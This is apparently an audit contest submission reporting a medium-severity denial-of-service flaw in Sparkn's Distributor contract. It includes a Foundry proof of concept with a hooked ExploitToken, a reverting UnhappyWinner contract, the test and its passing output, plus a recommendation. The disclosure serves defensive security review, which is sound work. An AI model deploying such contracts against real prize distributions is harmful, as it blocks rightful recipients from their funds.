Sparkn

CodeFox Inc.
DeFiFoundryProxy
15,000 USDC
View results
Submission Details
Severity: medium

Hook on transfer tokens allows for DoS attack

Summary

If prize token is ERC777 then one of the unhappy winners can revert a transaction preventing the rest from getting their prizes.

Vulnerability Details

An unhappy winner can revert a transaction after receiving funds:

uint256 amount = totalAmount * percentages[i] / BASIS_POINTS;
erc20.safeTransfer(winners[i], amount);

https://github.com/Cyfrin/2023-08-sparkn/blob/main/src/Distributor.sol#L147

POC

Add to OnlyDistributorTest.t.sol

import {ERC20} from "openzeppelin/token/ERC20/ERC20.sol";
import {Address} from "openzeppelin/utils/Address.sol";
contract ExploitToken is ERC20 {
address public doNotCall;
constructor(string memory name, string memory symbol) ERC20(name, symbol) {}
function setHookException(address a) external {
doNotCall = a;
}
function mint(address _to, uint256 _amount) external {
_mint(_to, _amount);
}
function _afterTokenTransfer(address from, address to, uint256 amount) internal override {
if (to == doNotCall || !Address.isContract(to)) {
return;
}
(bool s,) = to.call(abi.encodeWithSignature("tokensReceived(address,address,uint256)", from, to, amount));
require(s, "transfer failed");
}
}
contract UnhappyWinner {
function tokensReceived(address,address,uint) external {
revert();
}
}
function testDoSAttack() public {
ExploitToken token = new ExploitToken("Exploit Token", "EXT");
token.setHookException(address(distributor));
token.mint(address(distributor), 100e18);
UnhappyWinner unhappyWinner = new UnhappyWinner();
vm.startPrank(factoryAdmin);
uint winnerCount = 10;
address[] memory winners = new address[](winnerCount);
uint[] memory percentages = new uint[](winnerCount);
for (uint i = 0; i < winnerCount; i++) {
winners[i] = address(uint160(i + 1));
}
winners[0] = address(unhappyWinner);
for (uint i = 0; i < winnerCount; i++) {
percentages[i] = 9500 / winnerCount;
}
vm.expectRevert("transfer failed");
distributor.distribute(address(token), winners, percentages, bytes("0"));
vm.stopPrank();
}

Test

forge test --match-test testDoSAttack -vvv

Output

[PASS] testDoSAttack() (gas: 845199)
Commenting winners[0] = address(unhappyWinner); will cause a test to fail because no exception will be emitted.

Impact

While an organiser can remove unhappy winners and distribute their shares to other participants it'll probably be both painful and costly if there are a few of them so it's better to avoid it.

Tools Used

Recommendations

Don't whitelist tokens allowing transfer hooks

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.